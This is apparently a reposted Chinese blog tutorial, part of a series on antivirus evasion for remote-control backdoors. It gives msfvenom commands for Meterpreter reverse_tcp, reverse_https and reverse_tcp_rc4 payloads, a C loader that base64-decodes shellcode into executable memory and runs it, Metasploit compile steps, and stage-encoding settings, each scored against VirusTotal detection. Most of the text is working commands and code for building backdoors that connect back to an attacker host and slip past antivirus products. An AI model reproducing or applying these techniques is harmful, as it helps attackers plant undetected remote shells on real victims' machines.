【免杀篇】远控免杀专题(64)-Msf自编译免杀补充


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

0x01 Msf免杀补充说明

0x02 msf自编译+base64处理(VT免杀率33/69)

0x03 使用reverse_https(VT免杀率29/70)

0x04 使用reverse_tcp_rc4(VT免杀率33/70)


0x01 Msf免杀补充说明

在之前的专题3和专题4中介绍了msf的自身能实现一些免杀功能,比如使用编码shikata_ga_nai或者捆绑或者使用evasion模块生成免杀后门。

远控免杀专题(3)-msf自带免杀(VT免杀率35/69)

远控免杀专题(4)-Evasion模块(VT免杀率12/71)

其实在msf中还有两种较为常见的免杀方式,这里简单介绍一下:

1、一种是利用Metasploit的C编译器进行自编译免杀;

2、另一种是使用不同的payload来生成shellcode,比如reverse_httpsreverse_tcp_rc4,虽然简单,但还是有些效果的。

0x02 msf自编译+base64处理(VT免杀率33/69)

Metasploit Framework的C编译器其实是Metasm的包装器(Metasm是一个Ruby库),可用于汇编、反汇编和编译C代码。

使用改C编译器时,需要以下两个函数:

Metasploit::Framework::Compiler::Windows.compile_c(code)

Metasploit::Framework::Compiler::Windows.compile_c_to_fle(fle_path, code)

详细使用可参考msf_wiki: https://github.com/rapid7/metasploit-framework/wiki

先使用msfvenom生成base64编码的c代码

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 lport=3333  --encrypt base64   -f c

参考https://github.com/rapid7/metasploit-framework/wiki/How-to-decode-Base64-with-Metasploit-Framework-Compiler构造如下shellcode,保存为1.c文件。#include <Windows.h>

#include <String.h>
#include <base64.h>

unsigned char BASE64STR[] =
"\x2f\x4f--shellcode--\x3d";

int main() {
  int base64StrLen = strlen(BASE64STR);
  LPVOID lpBuf = VirtualAlloc(NULL, sizeof(int) * base64StrLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memset(lpBuf, '\0', base64StrLen);
  base64decode(lpBuf, BASE64STR, base64StrLen);
  //MessageBox(NULL, (char*)lpBuf, "Base64 Test", MB_OK);
  void(*func)();
  func = (void(*)()) lpBuf;
  (void)(*func)();
  return 0;
}

在msf中键入irb进入IRB shell,依次键入下面命令msf5 > irb

[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> require 'metasploit/framework/compiler/windows'
=> true
>> exe = Metasploit::Framework::Compiler::Windows.compile_c(File.read('/Users/xysoul/Downloads/payload/1.c'))
=> "MZ<\x00\x00\x00\x00\x00\x02\x00".......
>> File.write('/Users/xysoul/Downloads/payload/shellcode.exe', exe)
=> 3072

在输入上面的File.write('/Users/xysoul/Downloads/payload/shellcode.exe', exe)之后,会生成shellcode.exe。

在Msf中监听windows/meterpreter/reverse_tcp,在测试机执行shellcode.exe,可上线。

打开杀软进行测试,360和火绒都会报病毒。

virustotal.com中33/70个报毒

0x03 使用reverse_https(VT免杀率29/70)

主要是参考Green_m的文章:https://www.freebuf.com/sectool/118714.html,可以一定程度的避开杀软的流量检测。

使用msfvenom生成payload

msfvenom -p  windows/meterpreter/reverse_https  lhost=10.211.55.2  lport=3333  -f exe -o payload1.exe

在metasploit中设置:​​​​​​​

set EnableStageEncoding true

set stageencoder x86/fnstenv_mov

set stageencodingfallback false

在VC中编译后执行,360全免杀

virustotal.com中29/70个报毒

0x04 使用reverse_tcp_rc4(VT免杀率33/70)

和上面的方法一样,使用reverse_tcp_rc4也有同样的效果,而且不用设置stageencoder选项,更稳定更方便。

msfvenom -p  windows/meterpreter/reverse_tcp_rc4  lhost=10.211.55.2 lport=2223 RC4PASSWORD=tidesec  -f c

利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。

在VC中编译后执行,360全免杀,但是一会儿之后就又被查杀了。

virustotal.com中33/70个报毒

参考链接:

Meterpreter免杀技巧分享:https://www.freebuf.com/sectool/118714.html

msf_wiki: https://github.com/rapid7/metasploit-framework/wiki

Create a wrapper for metasm's C compiling function:https://github.com/rapid7/metasploit-framework/pull/10007

How to decode Base64 with Metasploit Framework Compiler: https://github.com/rapid7/metasploit-framework/wiki/How-to-decode-Base64-with-Metasploit-Framework-Compiler


虽然我们生活在阴沟里,但依然有人仰望星空!


猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/106115201